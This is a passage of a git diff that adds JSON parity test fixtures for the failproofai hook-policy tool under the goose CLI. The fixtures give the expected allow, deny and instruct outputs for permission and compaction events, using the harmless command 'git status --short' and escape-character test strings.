"permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PermissionDenied/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b46cd74e --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PermissionRequest/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..5736778e --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PermissionRequest/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..640b0ce3 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PermissionRequest/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..50ec9c3e --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PermissionRequest/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..19548595 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PermissionRequest/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..283b51ab --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PermissionRequest/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..ca187d19 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PermissionRequest/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..6dad3149 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PermissionRequest/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..940f9843 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PermissionRequest/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..acccb9e1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PermissionRequest/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..0a2589ff --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PermissionRequest/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f7c8fb4d --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PermissionRequest/deny__tool-present__two-policies.json new file mode 100644 index 00000000..aee084ba --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PermissionRequest/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..42c96b73 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PermissionRequest/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1784e1cf --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PermissionRequest/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..5f14a9db --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionRequest/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PermissionRequest/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b26d1834 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionRequest/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..469279d3 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e5ee6319 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", 